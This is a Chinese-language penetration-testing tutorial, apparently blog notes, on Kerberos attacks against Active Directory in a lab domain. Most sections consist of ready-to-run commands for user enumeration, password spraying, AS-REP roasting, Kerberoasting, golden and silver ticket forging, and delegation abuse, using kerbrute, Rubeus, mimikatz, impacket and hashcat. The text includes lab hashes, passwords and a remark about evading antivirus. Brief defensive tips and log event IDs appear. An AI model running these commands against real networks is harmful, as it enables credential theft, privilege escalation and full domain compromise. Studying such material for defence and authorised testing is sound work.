Kerberos认证基础
kerberos认证协议是基于票据的认证方式
kerberos分为三部分:用户、服务器、KDC(Key Distribution Center)
KDC包含:AS(Authentication Server)、TGS(Ticket Granting Server)
kerberos基础认证流程
91C85F3DF584F41878C343B204E1DEC2
aaa
kerberos认证,其实就是类似于参观一个实验室,普通人只能参观展品、高级访客可以进入内部参观
前提是你得提前预约获得一个密码,成为高级访客
你进实验室时,在门禁处输入你的账号密码,AS验证是否正确,然后返回你一个临时参观证,临时参观证由你的信息和访问权限组成,并且用krbtgt加密
比如你现在想要参观实验室里面的武器库(你要访问的服务)
你到申请处(TGS)进行申请,扫描参观证,输入你要参观的地方(server),申请处对你的参观证进行验证,成功之后,用武器库的密码加密,得到一个门禁卡(TGS票据)
到达武器库,扫描门禁卡,进行访问
这里面是有漏洞的
1.如果krbtgt密码被知道,就可以任意伪造参观证
2.如果武器库密码泄露,是不是就是任何人可以访问,前提是武器库没有设置PAC(即返回KDC确认)
kerberos攻击分类
上面分析可知,kerberos一般就在AS阶段、TGS阶段、PAC
AS阶段
1 2 3 4
| 域内用户枚举 密码喷洒 AS_REP Roasting 黄金票据
|
TGS阶段
PAC
1 2 3
| MS14-068 CVE-2021-42278 CVE-2021-42287
|
AS阶段攻击
域内用户枚举
在没有域内任何的凭据的前提下,枚举出域内用户名
当我们不在域内,但是发现了一个域,此时就可以考虑先枚举出域内用户,然后再进行密码喷洒攻击
原理
原理是用到kerberos协议的AS_REQ
当域内用户的状态不同时,AS_REP包返回的数据是不同的
AS_REQ包里面的cname的值就是用户名字
用户的不同状态对应的AS_REP返回包
1 2 3 4 5
| 用户存在并且启用 KDC_ERR_PREAUTH_REQUIRED
用户存在但是禁用 KDC_ERR_CLIENT_REVOKED NT Status: STATUS_ACCOUNT_DISABLED
用户不存在 KDC_ERR_C_PRINCIPAL_UNKNOWN
|
通过不同的返回包,就能确定某个账户是否存在
工具枚举
前提是有一台能够与域控通信的计算机,不管登陆账户是否为域用户,只要能和域控通信就行
kerbrute
地址
1
| https://github.com/ropnop/kerbrute
|
前提
1 2 3 4 5 6 7
| 域内主机,但是用非域内账号登陆
非域内主机,但是能够和域控通信
总的来说,就是一台能够与域控通信的计算机就行
其次,下载时windows检测到病毒,需要做免杀
|
用法
1 2 3 4 5 6
| kerbrute_windows_amd64.exe userenum --dc 192.168.8.1 -d sayms.local user.txt
#userenum:枚举模式 #--dc:域控ip #-d:域名 #user.txt:用户名字典,不需要加域名后缀
|
image-20230212224329512
pykerbrute
1 2 3 4 5
| 更kerbrute功能一样 但是是用python语言编写 有tcp和udp两种工作模式
不需要做免杀,只是一个python脚本
|
用法
1 2 3 4 5
| #TCP模式 python2 EnumADUser.py 192.168.8.1 sayms.local user.txt udp
#UDP模式 python2 EnumADUser.py 192.168.8.1 sayms.local user.txt tcp
|
image-20230212231057818
MSF
作为一个很牛逼的工具msf,它也有用户枚举的功能
在
1
| auxiliary/gather/kerberos_enumusers
|
使用命令
1 2 3 4 5
| use auxiliary/gather/kerberos_enumusers set domain set set run
|
大同小异,都是需要知道域名、ip、还有用户名字典
枚举抓包分析
我们开始之前,先用wireshark捕获192.168.8.2这个本地连接的数据包
然后运行工具
image-20230213093328742
捕获的数据包
image-20230213093454761
可以看到返回的结果
image-20230213093534288
根据这个判断域内用户是否存在
看一个成功的数据包
image-20230213093733082
说明tony这个用户就是域用户
域内密码喷洒
普通的密码爆破是用固定的用户名然后去爆破密码,但是这样账户登陆可能容易被锁定
密码喷洒,是用固定的密码,去爆破用户名
简而言之,就是一个密码,域内哪些用户用这个密码
因为域管理员为了方便记忆管理,一些用户的密码,可能会设置一样
当然前提是你得先域内用户枚举,找到域内存在哪些用户
密码锁定策略
刚才说了,直接爆破密码,很容易导致账户锁定
只有没开启密码锁定策略,就可以爆破
通过powershell的命令,可以查询密码锁定策略
1
| Get-ADDefaultDomainPasswordPolicy
|
image-20230213114120853
默认是0,就是没有设置次数锁定,可以进行爆破
一般默认是没有开启的,可以爆破
工具喷洒
kerbrute
kerbrute不仅可以用户枚举还可以密码喷洒
密码喷洒
用法
1 2 3 4 5 6 7
| kerbrute_windows_amd64.exe passwordspray --dc 192.168.8.1 -d sayms.local user.txt admin!@
|
image-20230213112929229
当然如果域内没有设置账户锁定,直接爆破密码当然是更方便的
密码爆破
用法
1
| kerbrute_windows_amd64.exe bruteuser --dc 192.168.8.1 -d sayms.local passwords.txt administrator
|
image-20230213113426449
pykerbrute
和kerbrute差不多,不同的是
pykerbrute使用密码喷洒,可以是明文密码也可以是hash值
用法
1 2 3 4 5 6 7
| #明文喷洒 python2 ADPwdSpray.py 192.168.8.1 sayms.local user.txt clearpassword 123456 tcp python2 ADPwdSpray.py 192.168.8.1 sayms.local user.txt clearpassword 123456 udp
#hash密码喷洒 python2 ADPwdSpray.py 192.168.8.1 sayms.local user.txt ntlmhsh 哈希值 tcp python2 ADPwdSpray.py 192.168.8.1 sayms.local user.txt ntlmhsh 哈希值 udp
|
DomainPasswordSpray.ps1
改脚本需要在域内计算机上使用powershell运行
powershell4.0的版本中该脚本不能执行
该脚本必须是域用户登陆的计算机执行,才能成功
因为该脚本是利用LDAP从域中导出用户列表,然后去除被锁定账户,再进行密码喷洒
用法
1 2 3
| powershell -exec bypass Import-Module. \DomainPasswordSpray.ps1 Invoke-DomainPasswordSpray -Password 123456
|
image-20230213122805639
密码喷洒数据包分析
首先进行喷洒
抓取数据包
image-20230213125247223
如上
只有这一组AS_REP数据包返回结果正常
证明喷洒成功一个
喷洒失败的数据包
回显示krb-error
image-20230213125502950
AS_REP Roasting
攻击原理
一种对用户账户进行离线爆破的方式
需要被攻击的账号开启 “不需要Kerberos预身份认证”
但是
这个选项默认不开启
image-20230213180646969
“不需要Kerberos预身份认证”的主要作用就是 防止密码离线爆破
关闭之后
1 2 3 4 5
| 攻击者使用指定账户向域控的kerberos 88端口发送数据包
此时域控不会进行验证
直接返回TGT和用改用户hash加密的Login session key
|
攻击过程
攻击过程总的来说分两步
1 2 3
| 获取hash加密的Login session key
解密hash
|
当然首要的还是找到 设置了“不需要Kerberos预身份认证”的用户
还需要能和Kerberos 88端口通信的主机
获取hash
我们需要的hash在
1
| AS_REP响应包最外层的ecp-part的cipher部分
|
Rubeus
该工具比较人性
它会自动筛选找到域中设置了“不需要Kerberos预身份认证”的用户
然后以改用户的身份发送AS_REQ包
最后将返回的hash加密的Login session key,以John那个解密的格式放在hash.txt文件中
简而言之就是,自动筛选、自动发送、自动转换、自动保存
注意
必须是用域账户登陆的主机才行,本地账户登陆的域主机是无法成功的
用法
1
| Rubeus.exe asreproast /format:john /outfile:hash.txt
|
image-20230213191034323
ASREPRoast.ps1脚本
功能作用和rubeus一样
不同的是它没有自动过滤出hash,需要用命令导出
注意
必须是用域账户登陆的主机才行,本地账户登陆的域主机是无法成功的
用法
1 2 3 4 5 6 7
| #用cmd打开powershell powershell -exec bypass
#命令 Import-Module .\ASREPRoast.ps1
Invoke-ASREPRoast | select -ExpandProperty Hash
|
image-20230213202229163
非域内机器
上面两个方法,都是基于有一个域内的主机进行测试的,如果我知道了域内的一个账号密码,但是没有域主机,咋办
下面就提出了解决办法
前提
思路
1 2 3
| 首先利用Adfind,过滤出 “不需要Kerberos预身份认证”的账户
然后用impacket包里面的工具GetNPUsers.py进行获取hash
|
操作
1
| adfind -h 192.168.8.1:389 -u sayms\aim -up admin@123 -f "useraccountcontrol:1.2.840.113556.1.4.803:=4194304" -dn
|
然后将获取到的用户,写入user.txt文件
执行
1
| python3 GetNPUsers.py -dc-ip 192.168.8.1 -usersfile user.txt -format john sayms.local/
|
但是失败了
可能是88端口,不对外开放
也可以直接使用impacket包里面的工具GetNPUsers.py进行爆破,前提是你的用户名字典足够厉害
1
| python3 GetNPUsers.py -dc-ip 192.168.8.1 -userfile users.txt -format john sayms.local
|
破解hash
john
对字典要求比价大,字典内容为明文密码,不需要为hash
1
| john --wordlist=/opt/psaawords.txt hash.txt
|
image-20230213213852501
成功
hashcat
因为上面的测试,保存的hash值都是john模式
此时hashcat是无法破译的
需要加上$23
image-20230213214201116
然后进行破译
1
| hashcat -m 18200 hash.txt passwords.txt --force
|
image-20230213214542657
AS_REP Roasting防御
1.取消 “不需要Kerberos预身份认证”
2.日志层面,关注事件ID为4768,预身份认证为0的日志
黄金票据
前提
获得域内账户krbtgt的密钥值
想要拿到krbtgt账户的密钥值,一般想要高权限用户,所以黄金票据攻击一般用于权限维持
原理
发生在AS_REP阶段,在进过预认证之后,KDC返回的TGT的authorization-data是krbtgt的密钥加密的
authorization-data中存放的PAC里面的重要部分也是krbtgt密钥加密的
PAC主要是存放用户的身份信息,PAC_SERVER_CHECKSUM和PAC_PRIVSVR_CHECKSUM是PAC的重要部分
所以我们拿到krbtgt的密钥之后,就可以伪造高权限PAC,放到TGT中,然后用这个高权限,来请求服务票据
需求
伪造TGT是不需要连接KDC的,整个过程是离线的
创建黄金票据需要的信息
1 2 3 4
| krbtgt的密钥值 域名 域SID 伪造的高权限域用户的用户名
|
一般需要在域控上面查询
黄金票据攻击一般工具Impacket、mimikatz、CS
利用Impacket攻击
思路
1 2 3 4 5 6 7
| 生成票据(ticketer.py)
导入票据
导出hash(secretsdump.py)
连接(smbexec.py)
|
生成黄金票据
1
| python3 ticketer.py -domain-sid sid值 -nthash 哈希值 -domain 域名 域管账户名字
|
导入票据
1
| export KRB5CCNAME=域管账户名.ccache
|
导出域管账户的hash
1
| python3 secretsdump.py -k -no-pass 域管账户@域控主机名.域名 -dc-ip 域控ip -just-dc-user 域管账户名
|
远程连接
需要注意的是
1
| 需要先在本地的hosts文件中添加要远程访问主机的ip
|
远程连接域控
1
| python3 smbexec.py -no-pass -k 域管账户@域控主机名.域名 -dc-ip 域控ip
|
远程连接其他主机
1
| python3 smbexec.py -no-pass -k 域管账户@其他主机名.域名 -dc-ip 域控ip -codec gbk
|
利用mimikatz攻击
mimikatz攻击可以使用域内机器,也可以是非域内机器
不在域内的机器,需要把其的DNS服务器设置为域控
1
| netsh interface ip set dns "以太网" static 域控ip
|
操作
首先尝试远程访问C盘
image-20230217233131593
权限不够,拒绝访问
生成黄金票据,导入内存,就有高权限,来导出任意用户的hash
注意:在生成黄金票据之前一定要先删除之前的所有票据,如果存在多个票据,系统不知道选用哪一个,会随机选取
1 2
| kerberos::golden /user:administrator /domain:sayms.local /sid:S-1-5-21-199966615-2708578713-1277870648 /krbtgt:020da1822e87dc4b9d87cf7891f3c7e8 /ptt
|
导入成功
image-20230216122002809
远程访问C盘
image-20230217233212497
成功
利用CS攻击
CS工具就比较好用,窗口化,自动化
拿到session之后,就可以进行操作
选择黄金票据,然后填入需要的参数即可
1 2 3 4 5 6 7
| 用户名
域名
域SID
krbtgt的hash
|
然后就是一键完成攻击
总结
黄金票据利用的是kerberos协议的缺陷,而不是漏洞,需要高权限的基础,才能完成黄金票据攻击
黄金票据主要是利用了AS和TGS之间的信任基础
TGS阶段攻击
kerberosasting攻击
主要用于域内权限提升
原理
在第四阶段,即TGS_REP
TGS服务端,返回客户端一个由服务的hash加密的ST
然后客户就可以拿到进行本地爆破
爆破得到一个有权限访问对应SPN的账户密码
核心在于ST的加密是客户端和KDC进行协商的,客户端可以选择容易破解的RC4_HMAC_MD5算法进行加密
攻击步骤
首先随意输入一个域内正确的账户密码,来获取一个TGT
用获得的TGT,去请求指定SPN的ST,这个过程中用户和KDC可以协商加密算法,选择RC4_HMAC_MD5
(SPN是域内注册的服务器主体名称)
只有是有效的TGT,无论提供的域内账户密码是否有权限访问SPN服务,都会返回一个用能够请求该服务账号的hash并且以RC4_HMAC_MD5
算法加密的ST
(用于加密的是服务账户的hash,服务账户的密码一般是安装时,服务自己设置的,并且基本不会改动,易破解)
最后从TGS_REP数据包中提取ST,进行本地爆破,拿到能够访问该服务的明文密码
(我们拿到的是服务密码)
简而言之大概步骤就是
1 2 3 4 5 6 7
| 查询域内注册于域用户下的SPN
请求指定SPN的ST
导出ST
破解
|
SPN的发现
找到域内所有注册在域用户下的SPN
三个常用工具RiskySPN、GetUserSPNs和PowerView.ps1
RiskySPN
属于powershell脚本
会自动检测识别若密码的服务票据
根据用户账户和密码过期时间来判别最容易包含弱密码的票据
1 2 3
| powershell -exec bypass Import-Module .\Find-PotentiallyCrackableAccounts.ps1; Find-PotentiallyCrackableAccounts -FullData
|
image-20230217173901689
没有回显,有点尴尬,可能是因为没有用户注册吧
GetUserSPNs
会查询所有注册在域用户下的SPN
有两种VBS和powershell
1 2 3 4 5
| cscript .\GetUserSPNs.vbs
Import-Module .\GetUserSPNs.ps1
|
image-20230217175705352
找到一个krbtgt的kadmin/changepw
这个是没有用的,它是随机生成的,几乎不可能爆破
PowerView.ps1
powersploit中recon目录下的脚本
用法
1 2
| Import-Module .\PowerView.ps1 Get-NetUser -SPN
|
请求服务票据
主要有三种
1 2 3 4 5 6 7
| impacket的GetUserSPNs.py
Rubeus
mimikatz
其中impacket和rubeus请求之后,会直接导出
|
impacket
该工具包下的GetUserSPNs.py可以请求注册在用户下的所有SPN服务票据,也可以请求注册于指定用户下的SPN服务票据
1 2 3 4 5
| python3 GetUserSPNs.py -request -dc-ip 域控ip sayms.local/tony:admin123$% -outputfile hash.txt
python3 GetUserSPNs.py -request -dc-ip 域控ip sayms.local/tony:admin123$% -outputfile hash.txt -request-user tony
|
Rubeus
该工具比较厉害
它会先用LDAP查询域内所有注册在域用户下的SPN
然后发送TGS包,最后直接输出能破解出的hash格式,例如John、hashcat
用法
1 2 3 4 5
| Rubeus.exe kerberoast /format:john /outfile:hash.txt
Rubeus.exe kerberoast /spn:SQLServer/win7.sayms.local:1433/MSSQL /format:john /outfile:hash.txt
|
mimikatz
mimikatz不会导出票据,只会把请求完成之后的票据保存在内存中
1
| kerberos::ask/target:SQLServer/win7.sayms.local:1433/MSSQL
|
导出服务票据
首先是查看内存中保存了哪些票据
1 2 3 4 5
| #cmd klist
#mimikatz kerberos::list
|
mimikatz导出
1
| mimikatz.exe "kerberos::list /export" "exit"
|
会导出kirbi格式的票据文件
empire导出
empire下的Invoke-Kerberoast.ps1脚本,可以导出John格式和hashcat格式的票据文件
1 2
| Import-Module .\Invoke-Kerberoast.ps1; Invoke-Kerberoast -outputFormat hashcat
|
破解票据
其实就是破解hash
上面我们导出的文件有John格式、hashcat格式、kirbi格式
其中John和hashcat格式好说
kirbi格式破解
两种方法kerberoast、tgscrack
kerberoast里面的tgsrepcrack.py可以破解kirbi格式
1
| python2 tgsrepcrack.py pass.txt tony@SQLServer~win7.sayms.local~1433~MSSQL-SAYMS.LOCAL.kirbi
|
tgscrack
先把kirbi格式的文件转化为它能够破解的格式,然后再破解
1 2 3
| python2 extractServiceTicketParts.py tony@SQLServer~win7.sayms.local~1433~MSSQL-SAYMS.LOCAL.kirbi > hash.txt
go run tgscrack.go -hashfile hash.txt -wordlist pass.txt
|
hashcat格式破解
1
| hashcat -m 13100 hash.txt pass.txt --force
|
Kerberoasting防御
- 首先能够执行该攻击最直接的原因是因为RC4_HMAC_MD5算法容易破解,强制改为AES256_HMAC算法,但是该算法会存在兼容性问题
- 为服务账户设置强密码,或者定期修改密码
- 好多服务都分配了过高的权限,导致攻击成功之后就能够权限提升,所有依照权限最小化原则设置权限
- 日志审计,关注ID为4769的日志,如果突然有过多4769的日志,且加密类型为0x17,可能就是受到了攻击
- 使用工具检测,zBang
白银票据
原理
白银票据攻击发生在TGS_REP阶段
TGS认证客户端发来的TGT,成功之后,将会返回指定服务的ST
ST中加密部分authorization-data,是用服务的密钥加密的
authorization-data中的PAC,PAC包含PAC_SERVER_CHECKSUM和PAC_PRIVSVR_CHECKSUM
其中PAC_SERVER_CHECKSUM是用服务的hash加密的,PAC_PRIVSVR_CHECKSUM是用krbtgt的hash加密的
但是
PAC_PRIVSVR_CHECKSUM签名的认证是可选的,且默认不开启,所以即使无法伪造PAC_PRIVSVR_CHECKSUM签名,也可完成攻击
所以只要能够拿到指定服务的密钥,就可以伪造PAC,放入ST,从而以高权限访问服务
因为服务验证了TGS票据之后,一般不会返回域控去验证TGS的合法性
部分服务对应的关系
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| 应用服务类型 需要的服务 WMI HOST、RPCSS
PowerShell Remoting HOST、HTTP
WinRM HOST、HTTP
Scheduled Tasks HOST
Windows File Share CIFS
LDAP operations LDAP
Windows Remote Server Administrations Tools RPCSS、LDAP、CIFS
|
需求
1 2 3 4 5 6 7
| 服务的密钥(一般就是主机的hash值)
域SID
域名
伪造的域用户,要是高权限用户
|
利用impacket攻击
使用ticketer.py生成白银票据
然后导入票据
然后使用smbexec.py、secretsdump.py来进行利用
1 2 3 4 5 6 7 8 9 10 11 12
| #生成白银票据 python3 ticketer.py -domain-sid sid值 -nthash 哈希值 -spn 服务名/域控主机名.域名 -domain 域名 域管账户名字 python3 ticketer.py -domain-sid sid值 -nthash 哈希值 -spn cifs/DC.sayms.local -domain sayms.local administrator
#导入票据 export KRB5CCNAME=域管账户名.ccache
#远程连接域控 python3 smbexec.py -no-pass -k 域管账户@域控主机名.域名 -dc-ip 域控ip
#导出管理员的hash python3 secretsdump.py -k -no-pass 域管账户@域控主机名.域名 -dc-ip 域控ip -just-dc-user 域管账户名
|
S-1-5-21-199966615-2708578713-1277870648-500
80a28b3ca1457d5d09adf2e153d98b1d
利用mimikatz攻击
mimikatz进行攻击,使用的机器可以是域内的,也可以是非域内主机
非域内主机,需要将DNS服务设置为域控
1
| netsh interface ip set dns "以太网" static 域控ip
|
操作
首先尝试远程访问C盘
image-20230217232329609
权限不够,拒绝访问
生成白银票据,导入内存
1
| kerberos::golden /domain:sayms.local /S-1-5-21-199966615-2708578713-1277870648 /target:DC.sayms.local /service:cifs /rc4:80a28b3ca1457d5d09adf2e153d98b1d /user:administrator /ptt
|
image-20230218094012033
然后就能够远程访问域控C盘
但是我这里无法访问是失败的,很奇怪导入成功还是无法访问
利用CS攻击
和mimikatz一样,也可以是非域内主机,但是需要设置本地DNS为域控
CS是没有白银票据这个模块的,但是导入插件可以实现
使用方法很简单,只需要填相应参数即可
1 2 3 4 5 6 7 8 9 10 11 12 13
| 伪造用户名(一般是高权限用户)
ID值(一般是500)
域名
SID
目标主机名
hash(服务对应的hash)
伪造的服务
|
总结
防御白银票据比较好的方式是,开启验证PAC签名,前面说了,一部分原因就是因为默认不认证,所以可以伪造
但是对于一些本地注册系统服务来说,比如SMB、CIFS、HOST,是无法开启验证的
委派攻击
定义
委派是指把域内用户的权限委派给服务账户,使服务账户能够以用户的权限访问域内其他服务
在域内,只有主机账户和服务账户才有委派属性
分类
委派分为三种类型
1 2 3 4 5
| 非约束性委派
约束性委派
基于资源的约束性委派
|
非约束性委派
非约束性委派,服务账户可以获取被委派用户的TGT,并将该TGT缓存到LSASS进程中,服务账户就可以使用该TGT访问任意服务
适用于windows server 2000
非约束性委派需要设置 SeEnableDelegationPrivilege特权,该权限默认 域管 和 企业管理员 拥有
域控默认配置了非约束性委派
拥有非约束性委派的机器账户userAccountControl属性的flag为WORKSTATION_TRUST_ACCOUNT|TRUSTED_FOR_DELEGATION,值为528384
拥有非约束性委派的服务账户userAccountControl属性的flag为NORMAL_ACCOUNT|TRUSTED_FOR_DELEGATION,值为524800
非约束性委派的流程
image-20230218113103964
从上面的流程,我们可以想到,如果我们控制了服务1,然后诱骗域管来请求服务1,我们就可以拿到域管TGT,从而可以高权限访问任意服务
约束性委派
因为考虑到非约束性委派的不安全性,微软在Windows server 2003就发布了约束性委派
服务账户获取到TGT之后,只能访问用户指定的服务ST,即增加了msDS-AllowedToDelegateTo,这属性来控制能够访问的指定服务
约束性委派账户的设置是需要SeEnableDelegationPrivilege特权的,该权限只有域管和企业管理员拥有
约束性委派分为两种
1 2 3
| 只能使用kerberos,不能进行协议转换
可以使用任何身份认证协议,能够进行协议转换
|
kerberos约束性委派的机器账户和服务账户的userAccountControl属性和正常账户一样,但是其msDS-AllowedToDelegateTo属性会有允许被委派服务的SPN
可以使用任何身份认证协议的约束性委派机器账户的userAccountControl属性的flag位为WORKSTATION_TRUST_ACCOUNT|TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION,值为16781312
其msDS-AllowedToDelegateTo属性会有允许被委派服务的SPN
可以使用任何身份认证协议的约束性委派服务账户的userAccountControl属性的flag位为
NORMAL_ACCOUNT|TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION,值为16777728
其msDS-AllowedToDelegateTo属性会有允许被委派服务的SPN
约束性委派的流程
为了kerberos能够支持约束性委派,微软的kerberos协议扩展了两个自协议
1 2 3 4 5
| S4u2Self(Service for User to Self) 可以代表任意用户请求自身的ST
S4u2Proxy(Service for User to Proxy) 用上一步获得的ST以用户的名义请求其他服务的ST
|
image-20230218175023956
那么,如果我们拿到了服务1的权限,那么我们可以拥有,服务1以及可以访问的其他服务,如果服务1配置了到域控的CIFS约束性委派,那么我们可以利用服务1以任意用户权限访问域控
基于资源的约束性委派
为了使用户和资源更加独立,微软在windows server 2012中引入了基于资源的约束性委派
基于资源的约束性委派是把权限赋予了服务
配置了基于资源的约束性委派账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性值为被允许委派账户的SID
流程
image-20230218220320603
谁能配置基于资源的约束性委派的权限?
1 2 3 4
| 上面可知基于资源的约束性委派,是通过msDS-AllowedToActOnBehalfOfOtherIdentity属性值的修改实现的
用AdFind查找谁能修改该属性,查询域内机器win2012R2 AdFind.exe -f "&(objectcategory=computer)(name=win2012R2)" msDS-AllowedToActOnBehalfOfOtherIdentity
|
如果没有该属性
1 2 3 4
| 那么就是谁创建了该属性,谁就有权限
用AdFind查找 AdFind.exe -b CN=win2016,CN=Computers,DC=sayms,DC=local -sc getacl -sddl+++ -sddlfilter ;;"WRT PROP";;;
|
最后发现,拥有该权限的用户有域管、SELF、将计算机加入域的域用户
利用方法
1 2 3 4 5 6 7
| 在服务B上设置允许服务A委派
控制服务A使用S4u2Self协议,向域控请求任意用户访问自己的ST
控制服务A使用S4u2Proxy协议,转发此ST去请求服务B的ST
最后我们就可以使用任意用户去访问B了
|
利用条件
1 2 3
| 拥有服务A的权限,拥有一个普通域内账户,一个域内账户可以创建10个机器账户,机器账户可以当服务账户
拥有修改B上允许A访问的权限
|
查询能够域委派账户
上面说了各种域委派类型,下面就是找到能够进行域委派的账户
可以通过LDAP进行过滤
通过这三个属性可以找出准确的域委派账户
userAccountControl
1 2 3 4 5 6
| 该属性可以分别哪些账户可以进行域委派 因为只有主机账户和服务账户才可以进行域委派 该属性可以判别账户类型
samAccountType=805306369为主机账户 samAccountType=805306368为服务账户
|
AllowedToDelegateTo
1 2 3
| 该属性是约束性委派账户才有值的,基于资源的约束性委派也有该属性,但是没有被赋值
该属性指向能够委派的服务SPN(就是A账户委派的服务能够访问哪些服务)
|
AllowedToActOnBehalfOfOtherIdentity
1 2 3 4
| 这个就是基于资源的约束性委派账户有的
这个属性的值是服务具有的,就是指向哪些服务能够访问它 权限在资源手中,不在KDC中
|
通过这三个属性就能判别,一个账户是属于哪种账户
查询非约束性委派的主机或服务账户
powersploit下的PowerView.ps1
1 2 3 4 5 6 7 8 9
| powershell -exec bypass
Import-Module .\PowerView.ps1;
#查询非约束性委派的主机 Get-NetComputer -Unconstrained -Domain sayms.local
#查询非约束性委派的服务账户 Get-Netuser -Unconstrained -Domain sayms.local | select name
|
Adfind
1 2 3 4 5
| Adfind.exe -b "DC=sayms,DC=local" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn
Adfind.exe -b "DC=sayms,DC=local" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn
|
Ldapsearch
1 2 3 4 5
| ldapsearch -x -H ldap://域控IP:389 -D "tony@sayms.local" -w admin123$% -b "DC=sayms,DC=local" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" | grep dn
ldapsearch -x -H ldap://域控IP:389 -D "tony@sayms.local" -w admin123$% -b "DC=sayms,DC=local" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" | grep dn
|
查询约束性委派的主机或服务账户
empire下的powerview.ps1
1 2 3 4 5 6 7 8 9
| powershell -exec bypass
Import-Module .\PowerView.ps1;
#查询约束性委派的主机 Get-DomainComputer -TrustedToAuth -Domain sayma.local | select name,msds-allowedtodelegateto
#查询约束性委派的服务账户 Get-DomainUser -TrustedToAuth -Domain sayma.local | select name,msds-allowedtodelegateto
|
Adfind
1 2 3 4 5
| Adfind.exe -b "DC=sayms,DC=local" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
Adfind.exe -b "DC=sayms,DC=local" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
|
Ldapsearch
1 2 3 4 5
| ldapsearch -x -H ldap://域控IP:389 -D "tony@sayms.local" -w admin123$% -b "DC=sayms,DC=local" "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" | grep -e dn -e msDS-AllowedToDelegateTo
ldapsearch -x -H ldap://域控IP:389 -D "tony@sayms.local" -w admin123$% -b "DC=sayms,DC=local" "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" | grep -e dn -e msDS-AllowedToDelegateTo
|
查询基于资源的约束性委派的主机或服务账户
Adfind
1 2 3 4 5
| Adfind.exe -b "DC=sayms,DC=local" -f "(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" msDS-AllowedToActOnBehalfOfOtherIdentity
Adfind.exe -b "DC=sayms,DC=local" -f "(&(samAccountType=805306368)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" msDS-AllowedToActOnBehalfOfOtherIdentity
|
Ldapsearch
1 2 3 4 5
| ldapsearch -x -H ldap://域控IP:389 -D "tony@sayms.local" -w admin123$% -b "DC=sayms,DC=local" "(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" | grep dn
ldapsearch -x -H ldap://域控IP:389 -D "tony@sayms.local" -w admin123$% -b "DC=sayms,DC=local" "(&(samAccountType=805306368)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" | grep dn
|
查询某个账户是否具有委派性
通过查看服务账户和机器账户的属性,来判断是否具有委派性
账户没有委派性,只有userAccountControl有值
1 2 3 4 5
| NORMAL_ACCOUNT
WORKSTATION_TRUST_ACCOUNT
|
委派攻击操作
委派攻击攻击发生在TGS_REQ、TGS_REP
非约束性委派攻击
思路就是诱骗域管理员来访问服务,从而获得TGT票据
诱骗域管访问服务
首先先设置win7具有允许委派属性
image-20230219090956104
然后使用域管账户远程ipc连接win7
1
| net use \\win7.sayms.local "admin123$%" /user:"sayms\tony"
|
连接之后会产生TGT票据
在win7上,使用mimikatz获取内存的票据
1 2 3
| privilege::debug
sekurlsa::tickers /export
|
image-20230219104414101
将票据导入内存
1 2 3
| kerberos::ptt [0;ade48]-2-0-60810000-tony@krbtgt-SAYMS.LOCAL.kirbi
kerberos::list
|
image-20230219104646584
尝试访问域控
image-20230219104752336
成功,在没有票据之前,是无法通过ipc远程访问域控的
但是此方法是比较鸡肋的,需要域管主动来访问服务,主动权在域管手中
结合在打印机漏洞攻击
可以利用打印机服务漏洞,来强制域控连接配置了非约束性委派的主机
首先配置监听
1 2
| rubeus.exe monitor /interval:1 /filteruser:DC$
|
image-20230219112648694
然后在win7上使用打印机服务漏洞攻击域控DC,使域控强制回连认证
image-20230308111007728
看到rebeus收到来自域控的票据
票据里面是有换行符的,需要去掉
1 2 3 4 5 6
| data="" for line in open('1.txt','r'): data += line.strip('\n') with open("2.txt",'a') as f: f.write(data) print('保存完毕')
|
然后直接使用rubeus导入该票据
1
| rubeus.exe ptt /ticket:base64的票据
|
然后就可以进行高权限操作了
域控的机器账户不能用于登陆,但是可以导出hash
约束性委派的攻击
环境配置
首先设置账户aim进行约束性委派
将aim注册为SPN服务账户
1
| setspn -S cifs/DC.sayms.local aim
|
然后设置约束性委派
image-20230219121231228
攻击流程
首先我们拿到了win7的权限,是以aim账户登陆的
抓取密码为admin@123
查询是否存在约束性委派服务账户
1
| Adfind.exe -b "DC=sayms,DC=local" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
|
image-20230219121926879
发现存在CIFS服务的账户aim,然后就可以使用Impacket包攻击
1 2 3 4 5 6 7 8
| #以域管tony身份申请一张访问cifs服务的票据 python3 getST.py -dc-ip 域控ip sayms.local/aim:admin@123 -spn cifs/DC.sayms.local -impersonate tony
#导入票据 export KRB5CCNAME=tony.ccache
#远程访问域控 python3 smbexec.py -no-pass -k DC.sayms.local
|
基于受限资源的委派攻击
我们拿到域内主机win2008的权限,且当前登陆为tom,而tom就是把win2008加入域的用户
因为win2008不在管理员组中,所以基本不可能进行mimikatz导出hash的操作
因为win2008是tom加入的,所以tom有给win2008基于资源的约束性委派的权限
首先新建机器账户test$,配置test$到win2008的基于资源的委派
然后执行如下命令,就可以提权到win2008的system权限
1 2 3 4 5 6 7 8
| #用administrator申请一个访问cifs/win2008的服务票据 python3 getST.py -dc-ip DC.sayms.local sayms.local/test$:root -spn cifs/win2008.sayms.local -impersonate administrator
#导入票据 export KRB5CCNAME=administrator.ccache
#远程访问win2008 python3 smbexec.py -no-pass -k win2008.xie.com
|
PAC攻击
pac方面的攻击主要是几个著名的漏洞
MS14-068
权限提升漏洞
原理
密钥层面
PAC包含两个数字签名PAC_SERVER_CHECKSUM、PAC_PRIVSVR_CHECKSUM
这两个数字签名分别是服务的hash和krbtgt的hash加密的,使用checksum算法
但是使用该系列算法,是允许使用该系列的所有算法的,那么我们可以选用MD5算法
MD5算法是不需要密钥进行加密的,所以也就不需要服务和krbtgt的hash值
PAC放置问题
